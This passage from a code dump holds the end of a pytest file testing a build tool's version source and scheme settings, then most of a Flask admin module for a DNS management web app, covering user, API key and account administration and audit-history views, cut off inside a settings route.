test_unknown(self, isolation): with pytest.raises(ValueError, match='Unknown version source: foo'): _ = ProjectConfig(isolation, {'version': {'source': 'foo'}}, PluginManager()).version.source def test_cached(self, isolation): project_config = ProjectConfig(isolation, {'version': {}}, PluginManager()) assert project_config.version.source is project_config.version.source assert isinstance(project_config.version.source, RegexSource) class TestVersionScheme: def test_unknown(self, isolation): with pytest.raises(ValueError, match='Unknown version scheme: foo'): _ = ProjectConfig(isolation, {'version': {'scheme': 'foo'}}, PluginManager()).version.scheme def test_cached(self, isolation): project_config = ProjectConfig(isolation, {'version': {}}, PluginManager()) assert project_config.version.scheme is project_config.version.scheme assert isinstance(project_config.version.scheme, StandardScheme)
codeparrot/github-code-clean
import json import datetime import traceback import re from base64 import b64encode from ast import literal_eval from flask import Blueprint, render_template, render_template_string, make_response, url_for, current_app, request, redirect, jsonify, abort, flash, session from flask_login import login_required, current_user from ..decorators import operator_role_required, admin_role_required, history_access_required from ..models.user import User from ..models.account import Account from ..models.account_user import AccountUser from ..models.role import Role from ..models.server import Server from ..models.setting import Setting from ..models.history import History from ..models.domain import Domain from ..models.domain_user import DomainUser from ..models.record import Record from ..models.domain_template import DomainTemplate from ..models.domain_template_record import DomainTemplateRecord from ..models.api_key import ApiKey from ..models.base import db from ..lib.schema import ApiPlainKeySchema apikey_plain_schema = ApiPlainKeySchema(many=True) admin_bp = Blueprint('admin', __name__, template_folder='templates', url_prefix='/admin') """ changeSet is a list of tuples, in the following format (old_state, new_state, change_type) old_state: dictionary with "disabled" and "content" keys. {"disabled" : False, "content" : "1.1.1.1" } new_state: similarly change_type: "addition" or "deletion" or "status" for status change or "unchanged" for no change Note: A change in "content", is considered a deletion and recreation of the same record, holding the new content value. """ def get_record_changes(del_rrest, add_rrest): changeSet = [] delSet = del_rrest['records'] if 'records' in del_rrest else [] addSet = add_rrest['records'] if 'records' in add_rrest else [] for d in delSet: # get the deletions and status changes exists = False for a in addSet: if d['content'] == a['content']: exists = True if d['disabled'] != a['disabled']: changeSet.append( ({"disabled":d['disabled'],"content":d['content']}, {"disabled":a['disabled'],"content":a['content']}, "status") ) break if not exists: # deletion changeSet.append( ({"disabled":d['disabled'],"content":d['content']}, None, "deletion") ) for a in addSet: # get the additions exists = False for d in delSet: if d['content'] == a['content']: exists = True # already checked for status change break if not exists: changeSet.append( (None, {"disabled":a['disabled'], "content":a['content']}, "addition") ) continue for a in addSet: # get the unchanged exists = False for c in changeSet: if c[1] != None and c[1]["content"] == a['content']: exists = True break if not exists: changeSet.append( ( {"disabled":a['disabled'], "content":a['content']}, {"disabled":a['disabled'], "content":a['content']}, "unchanged") ) return changeSet # out_changes is a list of HistoryRecordEntry objects in which we will append the new changes # a HistoryRecordEntry represents a pair of add_rrest and del_rrest def extract_changelogs_from_a_history_entry(out_changes, history_entry, change_num, record_name=None, record_type=None): if history_entry.detail is None: return if "add_rrests" in history_entry.detail: detail_dict = json.loads(history_entry.detail.replace("\'", '')) else: # not a record entry return add_rrests = detail_dict['add_rrests'] del_rrests = detail_dict['del_rrests'] for add_rrest in add_rrests: exists = False for del_rrest in del_rrests: if del_rrest['name'] == add_rrest['name'] and del_rrest['type'] == add_rrest['type']: exists = True if change_num not in out_changes: out_changes[change_num] = [] out_changes[change_num].append(HistoryRecordEntry(history_entry, del_rrest, add_rrest, "*")) break if not exists: # this is a new record if change_num not in out_changes: out_changes[change_num] = [] out_changes[change_num].append(HistoryRecordEntry(history_entry, [], add_rrest, "+")) # (add_rrest, del_rrest, change_type) for del_rrest in del_rrests: exists = False for add_rrest in add_rrests: if del_rrest['name'] == add_rrest['name'] and del_rrest['type'] == add_rrest['type']: exists = True # no need to add in the out_changes set break if not exists: # this is a deletion if change_num not in out_changes: out_changes[change_num] = [] out_changes[change_num].append(HistoryRecordEntry(history_entry, del_rrest, [], "-")) # only used for changelog per record if record_name != None and record_type != None: # then get only the records with the specific (record_name, record_type) tuple if change_num in out_changes: changes_i = out_changes[change_num] else: return for hre in changes_i: # for each history record entry in changes_i if 'type' in hre.add_rrest and hre.add_rrest['name'] == record_name and hre.add_rrest['type'] == record_type: continue elif 'type' in hre.del_rrest and hre.del_rrest['name'] == record_name and hre.del_rrest['type'] == record_type: continue else: out_changes[change_num].remove(hre) # records with same (name,type) are considered as a single HistoryRecordEntry # history_entry is of type History - used to extract created_by and created_on # add_rrest is a dictionary of replace # del_rrest is a dictionary of remove class HistoryRecordEntry: def __init__(self, history_entry, del_rrest, add_rrest, change_type): # search the add_rrest index into the add_rrest set for the key (name, type) self.history_entry = history_entry self.add_rrest = add_rrest self.del_rrest = del_rrest self.change_type = change_type # "*": edit or unchanged, "+" new tuple(name,type), "-" deleted (name,type) tuple self.changed_fields = [] # contains a subset of : [ttl, name, type] self.changeSet = [] # all changes for the records of this add_rrest-del_rrest pair if change_type == "+": # addition self.changed_fields.append("name") self.changed_fields.append("type") self.changed_fields.append("ttl") self.changeSet = get_record_changes(del_rrest, add_rrest) elif change_type == "-": # removal self.changed_fields.append("name") self.changed_fields.append("type") self.changed_fields.append("ttl") self.changeSet = get_record_changes(del_rrest, add_rrest) elif change_type == "*": # edit of unchanged if add_rrest['ttl'] != del_rrest['ttl']: self.changed_fields.append("ttl") self.changeSet = get_record_changes(del_rrest, add_rrest) def toDict(self): return { "add_rrest" : self.add_rrest, "del_rrest" : self.del_rrest, "changed_fields" : self.changed_fields, "created_on" : self.history_entry.created_on, "created_by" : self.history_entry.created_by, "change_type" : self.change_type, "changeSet" : self.changeSet } def __eq__(self, obj2): # used for removal of objects from a list return True if obj2.toDict() == self.toDict() else False @admin_bp.before_request def before_request(): # Manage session timeout session.permanent = True # current_app.permanent_session_lifetime = datetime.timedelta( # minutes=int(Setting().get('session_timeout'))) current_app.permanent_session_lifetime = datetime.timedelta( minutes=int(Setting().get('session_timeout'))) session.modified = True @admin_bp.route('/pdns', methods=['GET']) @login_required @operator_role_required def pdns_stats(): if not Setting().get('pdns_api_url') or not Setting().get( 'pdns_api_key') or not Setting().get('pdns_version'): return redirect(url_for('admin.setting_pdns')) domains = Domain.query.all() users = User.query.all() server = Server(server_id='localhost') configs = server.get_config() statistics = server.get_statistic() history_number = History.query.count() if statistics: uptime = list([ uptime for uptime in statistics if uptime['name'] == 'uptime' ])[0]['value'] else: uptime = 0 return render_template('admin_pdns_stats.html', domains=domains, users=users, configs=configs, statistics=statistics, uptime=uptime, history_number=history_number) @admin_bp.route('/user/edit/<user_username>', methods=['GET', 'POST']) @admin_bp.route('/user/edit', methods=['GET', 'POST']) @login_required @operator_role_required def edit_user(user_username=None): if user_username: user = User.query.filter(User.username == user_username).first() create = False if not user: return render_template('errors/404.html'), 404 if user.role.name == 'Administrator' and current_user.role.name != 'Administrator': return render_template('errors/401.html'), 401 else: user = None create = True if request.method == 'GET': return render_template('admin_edit_user.html', user=user, create=create) elif request.method == 'POST': fdata = request.form if create: user_username = fdata.get('username', '').strip() user = User(username=user_username, plain_text_password=fdata.get('password', ''), firstname=fdata.get('firstname', '').strip(), lastname=fdata.get('lastname', '').strip(), email=fdata.get('email', '').strip(), reload_info=False) if create: if not fdata.get('password', ''): return render_template('admin_edit_user.html', user=user, create=create, blank_password=True) result = user.create_local_user() history = History(msg='Created user {0}'.format(user.username), created_by=current_user.username) else: result = user.update_local_user() history = History(msg='Updated user {0}'.format(user.username), created_by=current_user.username) if result['status']: history.add() return redirect(url_for('admin.manage_user')) return render_template('admin_edit_user.html', user=user, create=create, error=result['msg']) @admin_bp.route('/key/edit/<key_id>', methods=['GET', 'POST']) @admin_bp.route('/key/edit', methods=['GET', 'POST']) @login_required @operator_role_required def edit_key(key_id=None): domains = Domain.query.all() accounts = Account.query.all() roles = Role.query.all() apikey = None create = True plain_key = None if key_id: apikey = ApiKey.query.filter(ApiKey.id == key_id).first() create = False if not apikey: return render_template('errors/404.html'), 404 if request.method == 'GET': return render_template('admin_edit_key.html', key=apikey, domains=domains, accounts=accounts, roles=roles, create=create) if request.method == 'POST': fdata = request.form description = fdata['description'] role = fdata.getlist('key_role')[0] domain_list = fdata.getlist('key_multi_domain') account_list = fdata.getlist('key_multi_account') # Create new apikey if create: if role == "User": domain_obj_list = Domain.query.filter(Domain.name.in_(domain_list)).all() account_obj_list = Account.query.filter(Account.name.in_(account_list)).all() else: account_obj_list, domain_obj_list = [], [] apikey = ApiKey(desc=description, role_name=role, domains=domain_obj_list, accounts=account_obj_list) try: apikey.create() except Exception as e: current_app.logger.error('Error: {0}'.format(e)) raise ApiKeyCreateFail(message='Api key create failed') plain_key = apikey_plain_schema.dump([apikey])[0]["plain_key"] plain_key = b64encode(plain_key.encode('utf-8')).decode('utf-8') history_message = "Created API key {0}".format(apikey.id) # Update existing apikey else: try: if role != "User": domain_list, account_list = [], [] apikey.update(role,description,domain_list, account_list) history_message = "Updated API key {0}".format(apikey.id) except Exception as e: current_app.logger.error('Error: {0}'.format(e)) history = History(msg=history_message, detail=str({ 'key': apikey.id, 'role': apikey.role.name, 'description': apikey.description, 'domains': [domain.name for domain in apikey.domains], 'accounts': [a.name for a in apikey.accounts] }), created_by=current_user.username) history.add() return render_template('admin_edit_key.html', key=apikey, domains=domains, accounts=accounts, roles=roles, create=create, plain_key=plain_key) @admin_bp.route('/manage-keys', methods=['GET', 'POST']) @login_required @operator_role_required def manage_keys(): if request.method == 'GET': try: apikeys = ApiKey.query.all() except Exception as e: current_app.logger.error('Error: {0}'.format(e)) abort(500) return render_template('admin_manage_keys.html', keys=apikeys) elif request.method == 'POST': jdata = request.json if jdata['action'] == 'delete_key': apikey = ApiKey.query.get(jdata['data']) try: history_apikey_id = apikey.id history_apikey_role = apikey.role.name history_apikey_description = apikey.description history_apikey_domains = [ domain.name for domain in apikey.domains] apikey.delete() except Exception as e: current_app.logger.error('Error: {0}'.format(e)) current_app.logger.info('Delete API key {0}'.format(apikey.id)) history = History(msg='Delete API key {0}'.format(apikey.id), detail=str({ 'key': history_apikey_id, 'role': history_apikey_role, 'description': history_apikey_description, 'domains': history_apikey_domains }), created_by=current_user.username) history.add() return make_response( jsonify({ 'status': 'ok', 'msg': 'Key has been removed.' }), 200) @admin_bp.route('/manage-user', methods=['GET', 'POST']) @login_required @operator_role_required def manage_user(): if request.method == 'GET': roles = Role.query.all() users = User.query.order_by(User.username).all() return render_template('admin_manage_user.html', users=users, roles=roles) if request.method == 'POST': # # post data should in format # {'action': 'delete_user', 'data': 'username'} # try: jdata = request.json data = jdata['data'] if jdata['action'] == 'user_otp_disable': user = User(username=data) result = user.update_profile(enable_otp=False) if result: history = History( msg='Two factor authentication disabled for user {0}'. format(data), created_by=current_user.username) history.add() return make_response( jsonify({ 'status': 'ok', 'msg': 'Two factor authentication has been disabled for user.' }), 200) else: return make_response( jsonify({ 'status': 'error', 'msg': 'Cannot disable two factor authentication for user.' }), 500) elif jdata['action'] == 'delete_user': user = User(username=data) if user.username == current_user.username: return make_response( jsonify({ 'status': 'error', 'msg': 'You cannot delete yourself.' }), 400) # Remove account associations first user_accounts = Account.query.join(AccountUser).join( User).filter(AccountUser.user_id == user.id, AccountUser.account_id == Account.id).all() for uc in user_accounts: uc.revoke_privileges_by_id(user.id) # Then delete the user result = user.delete() if result: history = History(msg='Delete user {0}'.format(data), created_by=current_user.username) history.add() return make_response( jsonify({ 'status': 'ok', 'msg': 'User has been removed.' }), 200) else: return make_response( jsonify({ 'status': 'error', 'msg': 'Cannot remove user.' }), 500) elif jdata['action'] == 'revoke_user_privileges': user = User(username=data) result = user.revoke_privilege() if result: history = History( msg='Revoke {0} user privileges'.format(data), created_by=current_user.username) history.add() return make_response( jsonify({ 'status': 'ok', 'msg': 'Revoked user privileges.' }), 200) else: return make_response( jsonify({ 'status': 'error', 'msg': 'Cannot revoke user privilege.' }), 500) elif jdata['action'] == 'update_user_role': username = data['username'] role_name = data['role_name'] if username == current_user.username: return make_response( jsonify({ 'status': 'error', 'msg': 'You cannot change you own roles.' }), 400) user = User.query.filter(User.username == username).first() if not user: return make_response( jsonify({ 'status': 'error', 'msg': 'User does not exist.' }), 404) if user.role.name == 'Administrator' and current_user.role.name != 'Administrator': return make_response( jsonify({ 'status': 'error', 'msg': 'You do not have permission to change Administrator users role.' }), 400) if role_name == 'Administrator' and current_user.role.name != 'Administrator': return make_response( jsonify({ 'status': 'error', 'msg': 'You do not have permission to promote a user to Administrator role.' }), 400) user = User(username=username) result = user.set_role(role_name) if result['status']: history = History( msg='Change user role of {0} to {1}'.format( username, role_name), created_by=current_user.username) history.add() return make_response( jsonify({ 'status': 'ok', 'msg': 'Changed user role successfully.' }), 200) else: return make_response( jsonify({ 'status': 'error', 'msg': 'Cannot change user role. {0}'.format( result['msg']) }), 500) else: return make_response( jsonify({ 'status': 'error', 'msg': 'Action not supported.' }), 400) except Exception as e: current_app.logger.error( 'Cannot update user. Error: {0}'.format(e)) current_app.logger.debug(traceback.format_exc()) return make_response( jsonify({ 'status': 'error', 'msg': 'There is something wrong, please contact Administrator.' }), 400) @admin_bp.route('/account/edit/<account_name>', methods=['GET', 'POST']) @admin_bp.route('/account/edit', methods=['GET', 'POST']) @login_required @operator_role_required def edit_account(account_name=None): users = User.query.all() if request.method == 'GET': if account_name is None: return render_template('admin_edit_account.html', account_user_ids=[], users=users, create=1) else: account = Account.query.filter( Account.name == account_name).first() account_user_ids = account.get_user() return render_template('admin_edit_account.html', account=account, account_user_ids=account_user_ids, users=users, create=0) if request.method == 'POST': fdata = request.form new_user_list = request.form.getlist('account_multi_user') # on POST, synthesize account and account_user_ids from form data if not account_name: account_name = fdata['accountname'] account = Account(name=account_name, description=fdata['accountdescription'], contact=fdata['accountcontact'], mail=fdata['accountmail']) account_user_ids = [] for username in new_user_list: userid = User(username=username).get_user_info_by_username().id account_user_ids.append(userid) create = int(fdata['create']) if create: # account __init__ sanitizes and lowercases the name, so to manage expectations # we let the user reenter the name until it's not empty and it's valid (ignoring the case) if account.name == "" or account.name != account_name.lower(): return render_template('admin_edit_account.html', account=account, account_user_ids=account_user_ids, users=users, create=create, invalid_accountname=True) if Account.query.filter(Account.name == account.name).first(): return render_template('admin_edit_account.html', account=account, account_user_ids=account_user_ids, users=users, create=create, duplicate_accountname=True) result = account.create_account() history = History(msg='Create account {0}'.format(account.name), created_by=current_user.username) else: result = account.update_account() history = History(msg='Update account {0}'.format(account.name), created_by=current_user.username) if result['status']: account.grant_privileges(new_user_list) history.add() return redirect(url_for('admin.manage_account')) return render_template('admin_edit_account.html', account=account, account_user_ids=account_user_ids, users=users, create=create, error=result['msg']) @admin_bp.route('/manage-account', methods=['GET', 'POST']) @login_required @operator_role_required def manage_account(): if request.method == 'GET': accounts = Account.query.order_by(Account.name).all() for account in accounts: account.user_num = AccountUser.query.filter( AccountUser.account_id == account.id).count() return render_template('admin_manage_account.html', accounts=accounts) if request.method == 'POST': # # post data should in format # {'action': 'delete_account', 'data': 'accountname'} # try: jdata = request.json data = jdata['data'] if jdata['action'] == 'delete_account': account = Account.query.filter(Account.name == data).first() if not account: return make_response( jsonify({ 'status': 'error', 'msg': 'Account not found.' }), 404) # Remove account association from domains first for domain in account.domains: Domain(name=domain.name).assoc_account(None) # Then delete the account result = account.delete_account() if result: history = History(msg='Delete account {0}'.format(data), created_by=current_user.username) history.add() return make_response( jsonify({ 'status': 'ok', 'msg': 'Account has been removed.' }), 200) else: return make_response( jsonify({ 'status': 'error', 'msg': 'Cannot remove account.' }), 500) else: return make_response( jsonify({ 'status': 'error', 'msg': 'Action not supported.' }), 400) except Exception as e: current_app.logger.error( 'Cannot update account. Error: {0}'.format(e)) current_app.logger.debug(traceback.format_exc()) return make_response( jsonify({ 'status': 'error', 'msg': 'There is something wrong, please contact Administrator.' }), 400) class DetailedHistory(): def __init__(self, history, change_set): self.history = history self.detailed_msg = "" self.change_set = change_set if not history.detail: self.detailed_msg = "" return if 'add_rrest' in history.detail: detail_dict = json.loads(history.detail.replace("\'", '')) else: detail_dict = json.loads(history.detail.replace("'", '"')) if 'domain_type' in detail_dict and 'account_id' in detail_dict: # this is a domain creation self.detailed_msg = render_template_string(""" <table class="table table-bordered table-striped"> <tr><td>Domain type:</td><td>{{ domaintype }}</td></tr> <tr><td>Account:</td><td>{{ account }}</td></tr> </table> """, domaintype=detail_dict['domain_type'], account=Account.get_name_by_id(self=None, account_id=detail_dict['account_id']) if detail_dict['account_id'] != "0" else "None") elif 'authenticator' in detail_dict: # this is a user authentication self.detailed_msg = render_template_string(""" <table class="table table-bordered table-striped" style="width:565px;"> <thead> <tr> <th colspan="3" style="background: rgba({{ background_rgba }});"> <p style="color:white;">User {{ username }} authentication {{ auth_result }}</p> </th> </tr> </thead> <tbody> <tr> <td>Authenticator Type:</td> <td colspan="2">{{ authenticator }}</td> </tr> <tr> <td>IP Address</td> <td colspan="2">{{ ip_address }}</td> </tr> </tbody> </table> """, background_rgba="68,157,68" if detail_dict['success'] == 1 else "201,48,44", username=detail_dict['username'], auth_result="success" if detail_dict['success'] == 1 else "failure", authenticator=detail_dict['authenticator'], ip_address=detail_dict['ip_address']) elif 'add_rrests' in detail_dict: # this is a domain record change # changes_set = [] self.detailed_msg = "" # extract_changelogs_from_a_history_entry(changes_set, history, 0) elif 'name' in detail_dict and 'template' in history.msg: # template creation / deletion self.detailed_msg = render_template_string(""" <table class="table table-bordered table-striped"> <tr><td>Template name:</td><td>{{ template_name }}</td></tr> <tr><td>Description:</td><td>{{ description }}</td></tr> </table> """, template_name=DetailedHistory.get_key_val(detail_dict, "name"), description=DetailedHistory.get_key_val(detail_dict, "description")) elif 'Change domain' in history.msg and 'access control' in history.msg: # added or removed a user from a domain users_with_access = DetailedHistory.get_key_val(detail_dict, "user_has_access") self.detailed_msg = render_template_string(""" <table class="table table-bordered table-striped"> <tr><td>Users with access to this domain</td><td>{{ users_with_access }}</td></tr> <tr><td>Number of users:</td><td>{{ users_with_access | length }}</td><tr> </table> """, users_with_access=users_with_access) elif 'Created API key' in history.msg or 'Updated API key' in history.msg: self.detailed_msg = render_template_string(""" <table class="table table-bordered table-striped"> <tr><td>Key: </td><td>{{ keyname }}</td></tr> <tr><td>Role:</td><td>{{ rolename }}</td></tr> <tr><td>Description:</td><td>{{ description }}</td></tr> <tr><td>Accessible domains with this API key:</td><td>{{ linked_domains }}</td></tr> <tr><td>Accessible accounts with this API key:</td><td>{{ linked_accounts }}</td></tr> </table> """, keyname=DetailedHistory.get_key_val(detail_dict, "key"), rolename=DetailedHistory.get_key_val(detail_dict, "role"), description=DetailedHistory.get_key_val(detail_dict, "description"), linked_domains=DetailedHistory.get_key_val(detail_dict, "domains" if "domains" in detail_dict else "domain_acl"), linked_accounts=DetailedHistory.get_key_val(detail_dict, "accounts")) elif 'Delete API key' in history.msg: self.detailed_msg = render_template_string(""" <table class="table table-bordered table-striped"> <tr><td>Key: </td><td>{{ keyname }}</td></tr> <tr><td>Role:</td><td>{{ rolename }}</td></tr> <tr><td>Description:</td><td>{{ description }}</td></tr> <tr><td>Accessible domains with this API key:</td><td>{{ linked_domains }}</td></tr> </table> """, keyname=DetailedHistory.get_key_val(detail_dict, "key"), rolename=DetailedHistory.get_key_val(detail_dict, "role"), description=DetailedHistory.get_key_val(detail_dict, "description"), linked_domains=DetailedHistory.get_key_val(detail_dict, "domains")) elif 'Update type for domain' in history.msg: self.detailed_msg = render_template_string(""" <table class="table table-bordered table-striped"> <tr><td>Domain: </td><td>{{ domain }}</td></tr> <tr><td>Domain type:</td><td>{{ domain_type }}</td></tr> <tr><td>Masters:</td><td>{{ masters }}</td></tr> </table> """, domain=DetailedHistory.get_key_val(detail_dict, "domain"), domain_type=DetailedHistory.get_key_val(detail_dict, "type"), masters=DetailedHistory.get_key_val(detail_dict, "masters")) elif 'reverse' in history.msg: self.detailed_msg = render_template_string(""" <table class="table table-bordered table-striped"> <tr><td>Domain Type: </td><td>{{ domain_type }}</td></tr> <tr><td>Domain Master IPs:</td><td>{{ domain_master_ips }}</td></tr> </table> """, domain_type=DetailedHistory.get_key_val(detail_dict, "domain_type"), domain_master_ips=DetailedHistory.get_key_val(detail_dict, "domain_master_ips")) # check for lower key as well for old databases @staticmethod def get_key_val(_dict, key): return str(_dict.get(key, _dict.get(key.title(), ''))) # convert a list of History objects into DetailedHistory objects def convert_histories(histories): changes_set = dict() detailedHistories = [] j = 0 for i in range(len(histories)): if histories[i].detail and ('add_rrests' in histories[i].detail or 'del_rrests' in histories[i].detail): extract_changelogs_from_a_history_entry(changes_set, histories[i], j) if j in changes_set: detailedHistories.append(DetailedHistory(histories[i], changes_set[j])) else: # no changes were found detailedHistories.append(DetailedHistory(histories[i], None)) j += 1 else: detailedHistories.append(DetailedHistory(histories[i], None)) return detailedHistories @admin_bp.route('/history', methods=['GET', 'POST']) @login_required @history_access_required def history(): if request.method == 'POST': if current_user.role.name != 'Administrator': return make_response( jsonify({ 'status': 'error', 'msg': 'You do not have permission to remove history.' }), 401) h = History() result = h.remove_all() if result: history = History(msg='Remove all histories', created_by=current_user.username) history.add() return make_response( jsonify({ 'status': 'ok', 'msg': 'Changed user role successfully.' }), 200) else: return make_response( jsonify({ 'status': 'error', 'msg': 'Can not remove histories.' }), 500) if request.method == 'GET': doms = accounts = users = "" if current_user.role.name in [ 'Administrator', 'Operator']: all_domain_names = Domain.query.all() all_account_names = Account.query.all() all_user_names = User.query.all() for d in all_domain_names: doms += d.name + " " for acc in all_account_names: accounts += acc.name + " " for usr in all_user_names: users += usr.username + " " else: # special autocomplete for users all_domain_names = db.session.query(Domain) \ .outerjoin(DomainUser, Domain.id == DomainUser.domain_id) \ .outerjoin(Account, Domain.account_id == Account.id) \ .outerjoin(AccountUser, Account.id == AccountUser.account_id) \ .filter( db.or_( DomainUser.user_id == current_user.id, AccountUser.user_id == current_user.id )).all() all_account_names = db.session.query(Account) \ .outerjoin(Domain, Domain.account_id == Account.id) \ .outerjoin(DomainUser, Domain.id == DomainUser.domain_id) \ .outerjoin(AccountUser, Account.id == AccountUser.account_id) \ .filter( db.or_( DomainUser.user_id == current_user.id, AccountUser.user_id == current_user.id )).all() all_user_names = [] for a in all_account_names: temp = db.session.query(User) \ .join(AccountUser, AccountUser.user_id == User.id) \ .outerjoin(Account, Account.id == AccountUser.account_id) \ .filter( db.or_( Account.id == a.id, AccountUser.account_id == a.id ) ) \ .all() for u in temp: if u in all_user_names: continue all_user_names.append(u) for d in all_domain_names: doms += d.name + " " for a in all_account_names: accounts += a.name + " " for u in all_user_names: users += u.username + " " return render_template('admin_history.html', all_domain_names=doms, all_account_names=accounts, all_usernames=users) # local_offset is the offset of the utc to the local time # offset must be int # return the date converted and simplified def from_utc_to_local(local_offset, timeframe): offset = str(local_offset *(-1)) date_split = str(timeframe).split(".")[0] date_converted = datetime.datetime.strptime(date_split, '%Y-%m-%d %H:%M:%S') + datetime.timedelta(minutes=int(offset)) return date_converted @admin_bp.route('/history_table', methods=['GET', 'POST']) @login_required @history_access_required def history_table(): # ajax call data if request.method == 'POST': if current_user.role.name != 'Administrator': return make_response( jsonify({ 'status': 'error', 'msg': 'You do not have permission to remove history.' }), 401) h = History() result = h.remove_all() if result: history = History(msg='Remove all histories', created_by=current_user.username) history.add() return make_response( jsonify({ 'status': 'ok', 'msg': 'Changed user role successfully.' }), 200) else: return make_response( jsonify({ 'status': 'error', 'msg': 'Can not remove histories.' }), 500) detailedHistories = [] lim = int(Setting().get('max_history_records')) # max num of records if request.method == 'GET': if current_user.role.name in [ 'Administrator', 'Operator' ]: base_query = History.query else: # if the user isn't an administrator or operator, # allow_user_view_history must be enabled to get here, # so include history for the domains for the user base_query = db.session.query(History) \ .join(Domain, History.domain_id == Domain.id) \ .outerjoin(DomainUser, Domain.id == DomainUser.domain_id) \ .outerjoin(Account, Domain.account_id == Account.id) \ .outerjoin(AccountUser, Account.id == AccountUser.account_id) \ .filter( db.or_( DomainUser.user_id == current_user.id, AccountUser.user_id == current_user.id )) domain_name = request.args.get('domain_name_filter') if request.args.get('domain_name_filter') != None \ and len(request.args.get('domain_name_filter')) != 0 else None account_name = request.args.get('account_name_filter') if request.args.get('account_name_filter') != None \ and len(request.args.get('account_name_filter')) != 0 else None user_name = request.args.get('auth_name_filter') if request.args.get('auth_name_filter') != None \ and len(request.args.get('auth_name_filter')) != 0 else None min_date = request.args.get('min') if request.args.get('min') != None and len( request.args.get('min')) != 0 else None if min_date != None: # get 1 day earlier, to check for timezone errors min_date = str(datetime.datetime.strptime(min_date, '%Y-%m-%d') - datetime.timedelta(days=1)) max_date = request.args.get('max') if request.args.get('max') != None and len( request.args.get('max')) != 0 else None if max_date != None: # get 1 day later, to check for timezone errors max_date = str(datetime.datetime.strptime(max_date, '%Y-%m-%d') + datetime.timedelta(days=1)) tzoffset = request.args.get('tzoffset') if request.args.get('tzoffset') != None and len(request.args.get('tzoffset')) != 0 else None changed_by = request.args.get('user_name_filter') if request.args.get('user_name_filter') != None \ and len(request.args.get('user_name_filter')) != 0 else None """ Auth methods: LOCAL, Github OAuth, Azure OAuth, SAML, OIDC OAuth, Google OAuth """ auth_methods = [] if (request.args.get('auth_local_only_checkbox') is None \ and request.args.get('auth_oauth_only_checkbox') is None \ and request.args.get('auth_saml_only_checkbox') is None and request.args.get('auth_all_checkbox') is None): auth_methods = [] if request.args.get('auth_all_checkbox') == "on": auth_methods.append("") if request.args.get('auth_local_only_checkbox') == "on": auth_methods.append("LOCAL") if request.args.get('auth_oauth_only_checkbox') == "on": auth_methods.append("OAuth") if request.args.get('auth_saml_only_checkbox') == "on": auth_methods.append("SAML") if request.args.get('domain_changelog_only_checkbox') != None: changelog_only = True if request.args.get('domain_changelog_only_checkbox') == "on" else False else: changelog_only = False # users cannot search for authentication if user_name != None and current_user.role.name not in [ 'Administrator', 'Operator']: histories = [] elif domain_name != None: if not changelog_only: histories = base_query \ .filter( db.and_( db.or_( History.msg.like("%domain "+ domain_name) if domain_name != "*" else History.msg.like("%domain%"), History.msg.like("%domain "+ domain_name + " access control") if domain_name != "*" else History.msg.like("%domain%access control") ), History.created_on <= max_date if max_date != None else True, History.created_on >= min_date if min_date != None else True, History.created_by == changed_by if changed_by != None else True ) ).order_by(History.created_on.desc()).limit(lim).all() else: # search for records changes only histories = base_query \ .filter( db.and_( History.msg.like("Apply record changes to domain " + domain_name) if domain_name != "*" \ else History.msg.like("Apply record changes to domain%"), History.created_on <= max_date if max_date != None else True, History.created_on >= min_date if min_date != None else True, History.created_by == changed_by if changed_by != None else True ) ).order_by(History.created_on.desc()) \ .limit(lim).all() elif account_name != None: if current_user.role.name in ['Administrator', 'Operator']: histories = base_query \ .join(Domain, History.domain_id == Domain.id) \ .outerjoin(Account, Domain.account_id == Account.id) \ .filter( db.and_( Account.id == Domain.account_id, account_name == Account.name if account_name != "*" else True, History.created_on <= max_date if max_date != None else True, History.created_on >= min_date if min_date != None else True, History.created_by == changed_by if changed_by != None else True ) ).order_by(History.created_on.desc()) \ .limit(lim).all() else: histories = base_query \ .filter( db.and_( Account.id == Domain.account_id, account_name == Account.name if account_name != "*" else True, History.created_on <= max_date if max_date != None else True, History.created_on >= min_date if min_date != None else True, History.created_by == changed_by if changed_by != None else True ) ).order_by(History.created_on.desc()) \ .limit(lim).all() elif user_name != None and current_user.role.name in [ 'Administrator', 'Operator']: # only admins can see the user login-logouts histories = History.query \ .filter( db.and_( db.or_( History.msg.like("User "+ user_name + " authentication%") if user_name != "*" and user_name != None else History.msg.like("%authentication%"), History.msg.like("User "+ user_name + " was not authorized%") if user_name != "*" and user_name != None else History.msg.like("User%was not authorized%") ), History.created_on <= max_date if max_date != None else True, History.created_on >= min_date if min_date != None else True, History.created_by == changed_by if changed_by != None else True ) ) \ .order_by(History.created_on.desc()).limit(lim).all() temp = [] for h in histories: for method in auth_methods: if method in h.detail: temp.append(h) break histories = temp elif (changed_by != None or max_date != None) and current_user.role.name in [ 'Administrator', 'Operator'] : # select changed by and date filters only histories = History.query \ .filter( db.and_( History.created_on <= max_date if max_date != None else True, History.created_on >= min_date if min_date != None else True, History.created_by == changed_by if changed_by != None else True ) ) \ .order_by(History.created_on.desc()).limit(lim).all() elif (changed_by != None or max_date != None): # special filtering for user because one user does not have access to log-ins logs histories = base_query \ .filter( db.and_( History.created_on <= max_date if max_date != None else True, History.created_on >= min_date if min_date != None else True, History.created_by == changed_by if changed_by != None else True ) ) \ .order_by(History.created_on.desc()).limit(lim).all() elif max_date != None: # if changed by == null and only date is applied histories = base_query.filter( db.and_( History.created_on <= max_date if max_date != None else True, History.created_on >= min_date if min_date != None else True, ) ).order_by(History.created_on.desc()).limit(lim).all() else: # default view if current_user.role.name in [ 'Administrator', 'Operator']: histories = History.query.order_by(History.created_on.desc()).limit(lim).all() else: histories = db.session.query(History) \ .join(Domain, History.domain_id == Domain.id) \ .outerjoin(DomainUser, Domain.id == DomainUser.domain_id) \ .outerjoin(Account, Domain.account_id == Account.id) \ .outerjoin(AccountUser, Account.id == AccountUser.account_id) \ .order_by(History.created_on.desc()) \ .filter( db.or_( DomainUser.user_id == current_user.id, AccountUser.user_id == current_user.id )).limit(lim).all() detailedHistories = convert_histories(histories) # Remove dates from previous or next day that were brought over if tzoffset != None: if min_date != None: min_date_split = min_date.split()[0] if max_date != None: max_date_split = max_date.split()[0] for i, history_rec in enumerate(detailedHistories): local_date = str(from_utc_to_local(int(tzoffset), history_rec.history.created_on).date()) if (min_date != None and local_date == min_date_split) or (max_date != None and local_date == max_date_split): detailedHistories[i] = None # Remove elements previously flagged as None detailedHistories = [h for h in detailedHistories if h is not None] return render_template('admin_history_table.html', histories=detailedHistories, len_histories=len(detailedHistories), lim=lim) @admin_bp.route('/setting/basic', methods=['GET']) @login_required @operator_role_required def setting_basic(): if request.method == 'GET': settings = [ 'maintenance', 